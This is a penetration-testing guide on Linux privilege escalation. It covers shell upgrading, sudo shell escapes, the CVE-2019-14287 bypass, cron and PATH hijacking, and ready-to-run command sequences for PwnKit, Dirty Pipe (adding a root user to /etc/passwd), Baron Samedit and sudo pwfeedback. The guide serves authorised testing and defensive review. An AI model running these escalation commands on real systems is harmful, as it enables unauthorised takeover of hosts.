Linux Privilege Escalation

Overview

A low-privileged shell on a Linux host is rarely the end goal. This covers the standard path from an initial foothold to root: automated enumeration first, then the specific misconfigurations and known vulnerabilities it tends to surface.

Upgrading a Shell

A raw reverse or bind shell is often missing job control and a proper TTY, which gets in the way of tools like sudo -l and text editors. Upgrade it first:

1
python -c 'import pty; pty.spawn("/bin/bash")'
2
python3 -c 'import pty; pty.spawn("/bin/bash")'

Automated Enumeration

LinPEAS, part of the same PEASS-ng suite as WinPEAS, is the standard starting point and covers most of what follows on this page automatically.

Sudo Misconfigurations

Check what the current user can run as another user or root first:

1
sudo -l

Where a binary listed in sudo -l has a documented shell escape, GTFOBins is the reference for which ones do, vim is a common example:

1
sudo vim -c ':!/bin/sh'

An entry like (ALL, !root) NOPASSWD: /bin/bash looks like it excludes root, but historically (CVE-2019-14287, sudo versions before 1.8.28) the exclusion could be bypassed by specifying a nonexistent UID:

1
sudo -u#-1 /bin/bash

Cron Job Abuse

pspy watches process activity without requiring root, useful for spotting cron jobs that run as root without needing to read /etc/crontab directly.

1
sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new

If a root-run job like the one above executes scripts out of a directory that happens to be writable, dropping an executable there gets it run as root:

1
ls -la
2
find / -type f -perm 0777

PATH Variable Abuse

Where a root-owned script or SUID binary calls another binary without an absolute path, planting a malicious binary earlier in $PATH can get it executed as root instead. Further detail: Linux Privilege Escalation Using PATH Variable.

Known Kernel and Sudo Vulnerabilities

A handful of high-impact CVEs are worth checking for directly when the target hasn’t been patched recently.

CVE-2021-4034 (PwnKit)

Affects Polkit’s pkexec, present on almost all mainstream distributions by default.

1
gcc cve-2021-4034-poc.c -o exploit
2
./exploit

Proof of concept.

CVE-2022-0847 (Dirty Pipe)

Affects Linux kernels 5.8 and later, fixed in 5.16.11, 5.15.25 and 5.10.102. Confirm the running kernel version first with uname -a.

The exploit overwrites an arbitrary file’s contents at a given byte offset, commonly used to append a new root user to /etc/passwd:

1
gcc poc.c -o exploit
2
openssl passwd -6 --salt <salt> '<password>'         # generate a new password hash
3
grep -b '<existing_user>' /etc/passwd                 # find the byte offset to overwrite
4
./exploit /etc/passwd <offset> '<new_user>:<generated_hash>:0:0::/root:/bin/bash'
5
su <new_user>

Proof of concept.

CVE-2021-3156 (Baron Samedit)

A heap-based buffer overflow in sudo versions before 1.9.5p2. Check for the crash first:

1
sudoedit -s '\' $(python3 -c 'print("A"*1000)')

1
make
2
./sudo-hax-me-a-sandwich 0    # target index depends on the distribution, 0 is a common Ubuntu offset

Proof of concept.

CVE-2019-18634 (sudo pwfeedback)

Affects sudo versions before 1.8.26 where the non-default pwfeedback option is enabled, visible as asterisks appearing while typing a password at a sudo prompt. A buffer overflow in that feedback path can be triggered directly.

1
gcc exploit.c -o exploit
2
./exploit

Proof of concept.

OPSEC Considerations

• LinPEAS is noisy and its output is large, redirect it to a file rather than a terminal on a slow connection, and expect EDR/AV on hardened hosts to flag it.
• Kernel exploits (Dirty Pipe, PwnKit) can crash the target service or the whole host if the wrong offset or target is used, confirm kernel/package versions precisely before running one, and treat FILE-based PoCs as an availability risk.
• Modifying /etc/passwd directly, as the Dirty Pipe PoC does, is a persistent, visible change, only do this with the engagement’s consent and revert it afterward.

What Should We Look For?

• Does sudo -l reveal any binaries with a known GTFOBins shell escape?
• Are cron jobs running as root out of directories writable by lower-privileged users?
• Is the kernel or sudo version affected by a known, unpatched CVE?
• Do scripts or SUID binaries call other binaries without an absolute path, exposing a PATH hijack?